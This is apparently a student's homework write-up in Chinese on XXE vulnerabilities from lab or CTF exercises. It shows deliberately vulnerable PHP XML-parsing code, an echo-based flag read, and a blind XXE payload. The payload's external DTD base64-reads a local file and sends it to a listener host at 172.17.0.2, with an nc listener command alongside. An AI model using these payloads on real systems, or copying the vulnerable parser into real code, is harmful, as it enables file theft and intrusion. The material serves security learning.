班级作业笔记报告0x07

XXE漏洞

XXE基础知识

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE 文件名[

<!ENTITY 实体名 "实体内容">

]>

<元素名称 category="属性">

文本或其他元素

</元素名称>

作业1:

常规XXE漏洞

登录框抓包任意输入账号密码

username处有回显

构造XXE

没怎么学和玩过XXE漏洞,听说也是好多年前的漏洞了,看了一些文章,发现可以不用输入<?xml version="1.0" encoding="utf-8"?>,一样可以读取到flag

作业2:

Bind型XXE漏洞

这个没有靶场环境,只能在自己的机子上完成了。。。

无回显XXE漏洞

php代码

<?php

libxml_disable_entity_loader(false);

$xmlfile=file_get_contents('php://input');

$dom=new DOMDocument();

dom-\>loadXML(xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);

?>

需要引用外部.dtd文件,要想利用.dtd文件来读取内容flag文件内容需要.dtd构造如下XML

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://172.17.0.2:1234?p=%file;'>">

而请求包会这样构造

<!DOCTYPE convert [

<!ENTITY % remote SYSTEM "http://172.17.0.2:80/test.dtd">

%remote;%int;%send;

]>

然后需要对端口进行监听

nc -lvvp 1234

个人评价:

XXE漏洞可以造成敏感文件读取、内网探测SSRF、数据外带传输、拒绝服务,特定环境下还可以造成RCE漏洞和业务中断与信息收集

相关推荐
重明链迹实验室2 小时前
重明链迹丨每周区块链安全要闻(0921-0927)
安全·web3·区块链
Chen—LSN2 小时前
C语言——文件操作(2)
c语言·开发语言·c++·经验分享·笔记·算法·c#
程序员yu3 小时前
会编网络:别被入门教程骗了,Python实用能力不在语法本身
开发语言·python·学习·算法
Lintongzg3 小时前
千卡训练的隐形账单:通信不是瓶颈
笔记·学习·性能优化·llm
dadaobusi3 小时前
学习: SIOV
学习
LuminousCPP3 小时前
从零开始学 C++(三):类和对象入门|从 struct 到 class,理解封装、对象与 this 指针
c++·笔记·学习·类和对象
传奇开心果编程4 小时前
【Flutter入门练中学】第11课:状态管理进阶与声明式路由
android·学习·flutter·ui·ios
AOXU_Consulting4 小时前
医用吊塔:手术室和 ICU 天花板上那根“臂“是做什么的
安全·健康医疗
承渊政道4 小时前
Linux系统学习【进程信号详细解析——认识、产生、保存以及捕捉信号】
linux·学习·ubuntu·ssh·vs code·进程信号
程序员JerrySUN4 小时前
Jetson边缘嵌入式实战课程第四讲:用 Yocto 定制 Jetson 系统,从开发走向产品化
arm开发·人工智能·安全·计算机视觉·目标跟踪